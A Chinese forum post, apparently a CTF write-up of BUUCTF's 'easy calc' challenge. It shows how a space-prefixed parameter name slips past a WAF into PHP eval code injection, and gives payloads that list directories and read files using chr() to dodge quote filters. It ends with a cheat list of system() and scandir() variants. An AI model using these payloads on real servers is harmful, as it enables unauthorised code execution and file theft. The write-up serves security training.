首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
SAAS
ToB门户
了解全球最新的ToB事件
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
微博
Follow
记录
Doing
博客
Blog
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
排行榜
Ranklist
相册
Album
应用中心
qidao123.com ToB IT社区-企服评测·应用市场
»
论坛
›
安全
›
网络安全
›
【BUUCTF】easy calc
返回列表
发新帖
【BUUCTF】easy calc
[复制链接]
发表于 2024-7-26 16:01:17
|
显示全部楼层
|
阅读模式
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
×
【BUUCTF】easy calc (PHP
代码
审计)
收录于:BUUCTF BUUCTF2019
题目形貌
一个计算器,实验SSTI,SQL注入都无果
对计算过程抓包,发现/clac.php,表达式通过num参数进行传递
访问/calc.php,得到源码
[/code]当num传递的为字母时,被waf拦截(另一个waf,不是上面PHP文件设置的黑名单)
[align=center][img]https://dis.qidao123.com/imgproxy/aHR0cHM6Ly9pbWcyMDIzLmNuYmxvZ3MuY29tL2Jsb2cvMzE1OTIxNS8yMDI0MDcvMzE1OTIxNS0yMDI0MDcyNjEwMzc0MTI5OC0xMDY5OTg2NzMyLnBuZw==[/img][/align]
[size=5]题解[/size]
当在num前加上空格,即变量为%20num时,就可以绕过
WAF
对num的审计。在转化为PHP的key=>value时,PHP解析了传入的key,做了两件事情:
[list]
[*]删除空白符
[*]转化特殊字符
[/list]就可以把想要的变量转化为num了。
exp如下:
[code]calc.php?%20num=phpinfo()
复制
代码
接下来获取目录:print_r(scandir('/'))
这里实验使用 system('ls') 获取目录时失败
由于对'进行过滤,可以使用chr()函数绕过,payload如下:
calc.php?%20num=print_r(scandir(chr(47)))
复制
代码
接下来对文件进行读取,payload如下:
calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
复制代码
即file_get_contents('/f1agg')
得到flag
总结
PHP解析参数时进行以下两步:
删除空白符
转化特殊字符
可以使用在参数名前加%20的方法进行waf绕过
查看目录的PHP语句如下:
system('ls');
echo system('ls');
eval(system('ls'));
eval("echo system('ls');");
print_r(scandir('.'));
echo print_r(scandir('.'));
eval(print_r(scandir('.')));
eval("print_r(scandir('.'));");
eval("echo print_r(scandir('.'));");
var_dump(scandir('.'));
echo var_dump(scandir('.'));
eval(var_dump(scandir('.')));
eval("var_dump(scandir('.'));");
eval("echo var_dump(scandir('.'));");
复制代码
读取文件内容的PHP语句将上面的函数改为file_get_contents()即可。
当对引号进行过滤时,可以使用chr()拼接的方式进行过滤。
回复
使用道具
举报
返回列表
浏览过的版块
Oracle
分布式数据库
云原生
数据仓库与分析
DevOps与敏捷开发
Java
小秦哥
+ 我要发帖
登录后关闭弹窗
登录参与点评抽奖 加入IT实名职场社区
去登录
微信订阅号
微信服务号
微信客服(加群)
H5
小程序
快速回复
返回顶部
返回列表